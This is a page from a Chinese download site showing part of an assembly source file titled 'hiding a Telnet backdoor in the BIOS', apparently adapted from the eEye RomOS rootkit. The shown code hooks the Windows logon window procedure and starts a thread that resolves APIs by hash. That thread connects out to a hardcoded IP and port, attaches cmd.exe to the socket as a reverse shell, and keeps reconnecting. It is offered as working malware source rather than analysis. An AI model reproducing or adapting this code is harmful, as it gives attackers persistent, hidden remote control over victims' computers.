⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 bios hide telnet back door.txt

📁 在BIOS中隐藏Telnet后门
💻 TXT
📖 第 1 页 / 共 3 页
字号:
      add     edx,[esp + 0Ch]                ;[esp + c]->Context.传过来的参数.
                                 ;Context->Eip
      mov     dword ptr [edx],(CSL_KERNEL_DEST + (NTURCEWOW_Done - Code32Start))
      ret
;*****************************************************************************************************************************************MySASWndProc:                                                   ;bochs调试12#: 程序现已运行在应用层下.
                                                                ;lb 0x7ffe099c
      push    eax                                               ;eax:旧的SASWndProc地址,返回方法:popad ret.
      pushad

      xor     eax,eax
      mov     edx,fs:[eax+30h]                                  ;ptr to PEB
      
      mov     eax,[edx+0EB0h]                                   ;original SASWndProc address
      mov     [esp+20h],eax

      mov     eax,[esp+2Ch]                                     ;get 'uMsg' argument
      .if     eax == 0001h                                      ;WM_CREATE
              mov     eax,[edx+0Ch]                             ;ptr to loader data
              mov     ecx,[eax+1Ch]                             ;ptr to first module in initialization-order list

              .repeat
                      mov     ebx,[ecx+8]                       ;module image base
                      mov     esi,[ecx+20h]                     ;ptr to module file name
                      mov     ecx,[ecx]                         ;ptr to next module
                      lodsb
                      or      al,20h
              .until  al == 'k'                                 ;assume KERNEL32.DLL will be first module starting with 'K'
                                                                ;EBX = KERNEL32 镜像基址 bochs调试13#:lb 0x7ffe09cc
              ;mov     edi,(CSL_USER_BACKDOOR + (PEApiHashFind - Code32Start))
              push    ebx                                       ;ebx:dwThreadID  变量使用堆栈.
              push    esp                                       ;push addr dwThreadID
              push    0
              push    0
              push    (CSL_USER_BACKDOOR + (TelnetShell - Code32Start))
              push    0
              push    0
              mov     edx,3f1764e5h                             ;hash("CreateThread")=3f1764e5h
              call    PEApiHashFind                             ;call     edi 是否需要这样调用?
              call    eax                                       ;invoke CreateThread,NULL,0,offset TelnetShell,NULL,NULL,addr dwThreadID
              pop     ebx                                       ;ebx:dwThreadID 去掉变量使用.
      .endif
      popad
      ret                                                       ;invoke original SASWndProc
;*****************************************************************************************************************************************TelnetShell:                                                    ;可用于安装在win2k/xp/2003 反向连接Telnet后门应用程序.
      xor     eax,eax                                           ;bochs调试14#:lb 0x7ffe09f0
      mov     edx,fs:[eax+30h]                                  ;ptr to PEB
      mov     eax,[edx+0Ch]                                     ;ptr to loader data
      mov     ecx,[eax+1Ch]                                     ;ptr to first module in initialization-order list

      .repeat
              mov     ebx,[ecx+8]                               ;module image base
              mov     esi,[ecx+20h]                             ;ptr to module file name
              mov     ecx,[ecx]                                 ;ptr to next module
              lodsb
              or      al,20h
     .until  al == 'k'                                          ;assume KERNEL32.DLL will be first module starting with 'K'
                                                                ;EBX = KERNEL32 image base
      mov     edi,ebx                                           ;edi = kernel32基址 bochs调试15#:lb 0x7ffe0a05
TelnetShell_Strat:
      mov     ebp,esp                                           ;bochs调试15#:lb 0x7ffe0a07

      push    00003233h
      push    5f325357h                                         ;esp->"WS2_32"
      push    esp
      mov     edx,2e864192h                                     ;Hash("LoadLibraryA")=2e864192h
      call    PEApiHashFind
      call    eax                                               ;LoadLibraryA(&WS2_32DLL)返回EAX=装载DLL基址.
      mov     ebx,eax                                           ;ebx=WS2_32基址

      sub     esp,1ech                                          ;WSADATA struct
      push    esp                                               ;esp->WSADATA struct
      push    202h                                              ;VersionRequested 0x202h
      mov     edx,0c05a351eh                                    ;Hash("WSAStartup")=0c05a351eh
      call    PEApiHashFind
      call    eax                                               ;WSAStartup(0x101, &WSADATA)

      push    0
      push    0
      push    0
      push    6                                                 ;IPPROTO_TCP=6 IPPROTO_UDP=17
      push    1                                                 ;SOCK_STREAM=1 SOCK_DGRAM=2
      push    2                                                 ;AF_INET=2
      mov     edx,0ef3c1916h                                    ;Hash("WSASocketA")=0ef3c1916h 
      call    PEApiHashFind
      call    eax                                               ;s=WSASocketA(2,1,6,0,0,0)
      mov     esi,eax                                           ;esi=socket s

      push    0265359dah                                        ;sockaddr_in.sin_addr;192.168.100.111(06f64a8c0h)
      push    0feff0002h                                        ;0x02=AF_INET(sin_family);0xfffe=65534(sin_port)

      ;.repeat 
              mov     edx,esp
              push    10h                                       ;sizeof(sockaddr_in)
              push    edx                                       ;esp->sockaddr_in struct
              push    esi                                       ;socket s
              mov     edx,5ddd8b01h                             ;Hash("connect")=5ddd8b01h
              ;mov     ebx,edi                                  ;ebx=kernel32基址
              call    PEApiHashFind
              call    eax                                       ;IPPROTO_TCP c=connect(s, &address, sizeof(address))
      ;.until  eax == 0                                          ;连接成功
      mov     ebx,edi                                           ;ebx=kernel32基址
      .if     eax != 0
              push    60000
              mov     edx,0cb9765ah                             ;Hash("Sleep")=0cb9765ah
              call    PEApiHashFind                             
              call    eax                                       ;invoke Sleep,60000
              mov     esp,ebp
              mov     ebx,edi                                   ;ebx=kernel32基址
              jmp     TelnetShell_Strat                         ;for another connection  
              ;ret
      .endif

      push    646d63h                                           ;winNT(cmd.exe)
      mov     edx,esp                                           ;edx->file name
  
      push    esi                                               ;STARTUPINFOA.hStdError
      push    esi                                               ;STARTUPINFOA.hStdOutput
      push    esi                                               ;STARTUPINFOA.hStdInput 

      push    0                      
      push    0                                                 ;wShowWindow cbReserved2                  
      push    101h                                              ;STARTUPINFO.dwFlags                                      

      mov     ecx,0fh
@@:                              
      push    0                                                 ;STARTUPINFOA.cb ~ STARTUPINFOA.dwFillAttribute
      loop    @B

      lea     ecx,[esp+10h]                                     ;ecx->STARTUPINFOA.cb
      mov     dword ptr [ecx],44h                               ;STARTUPINFOA.CB=44h(len STARTUPINFOA)

      push    esp                                               ;esp->PROCESS_INFORMATION STRUCT(all 0)
      push    ecx                                               ;ecx->STARTUPINFOA STRUCT
      push    0
      push    0
      push    0
      push    1
      push    0
      push    0
      push    edx
      push    0
      mov     edx,4b5d35e6h                                     ;Hash("CreateProcessA")=4b5d35e6h
      call    PEApiHashFind
      call    eax                                               ;CreateProcessA(0, Addr"cmd.exe",0,0,1,0,0,0,si, pi)

      pop     ecx                                               ;PROCESS_INFORMATION.hProcess

      push    -1                                                ;time -1
      push    ecx
      mov     edx,8885abf2h                                     ;Hash("WaitForSingleObject")=8885abf2h 
      call    PEApiHashFind
      call    eax                                               ;WaitForSingleObject(Handle, time) 
      mov     esp,ebp
      mov     ebx,edi                                           ;ebx=kernel32基址
      jmp     TelnetShell_Strat                                 ;for another connection  
      ;ret
;*****************************************************************************************************************************************PEApiHashFind:                                                  ;入口:EBX=镜像基址 EDX=HASH32值 出口:eax=Api 地址,0表示未找到.
      xor     eax,eax                   
      pushad
      mov     ecx,[ebx+3Ch]                                     ;ecx = RVA of PE header
      mov     ebp,[ebx+ecx+78h]                                 ;ebp = RVA of export directory
      add     ebp,ebx                                           ;ebp -> ptr to export directory
      mov     ecx,[ebp+18h]                                     ;ecx = IMAGE_EXPORT_DIRECTORY::NumberOfNames
      mov     edi,[ebp+20h]                                     ;edi -> IMAGE_EXPORT_DIRECTORY::AddressOfNames
      add     edi,ebx
      .while  ecx > 0
              dec     ecx
              mov     esi,[edi+ecx*4]
              add     esi,ebx                                   ;esi->API字符串在内存物理地址.

              push    edx
              .repeat
                      lodsb
                      sub     edx,eax
                      ror     edx,7
              .until  eax == 0                                  ;字符结束
              .if     edx == 0
                  pop    edx
                      .break
              .endif
                pop    edx
      .endw
      .if     ecx > 0
              mov     edx,[ebp+024h]
              add     edx,ebx                                   ;AddressofOrdinals
              mov     cx,[edx+ecx*2]
              mov     eax,[ebp+01ch]
              add     eax,ebx                                   ;AddressOfFunctions       
              add     ebx,[eax+ecx*4] 
              mov     [esp+1Ch], ebx                            ;overwrite saved EAX with ptr to export
      .endif
      popad
      ret
;*****************************************************************************************************************************************Code32End:                                                      ;感谢: eEye RootKit RomOS开源项目,国外的技术我们永远学不完.
ProtectCode ends                                                ;有不正确的地方,很高兴各位指出这样我才会学到更多知识.
end   Code16Start 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -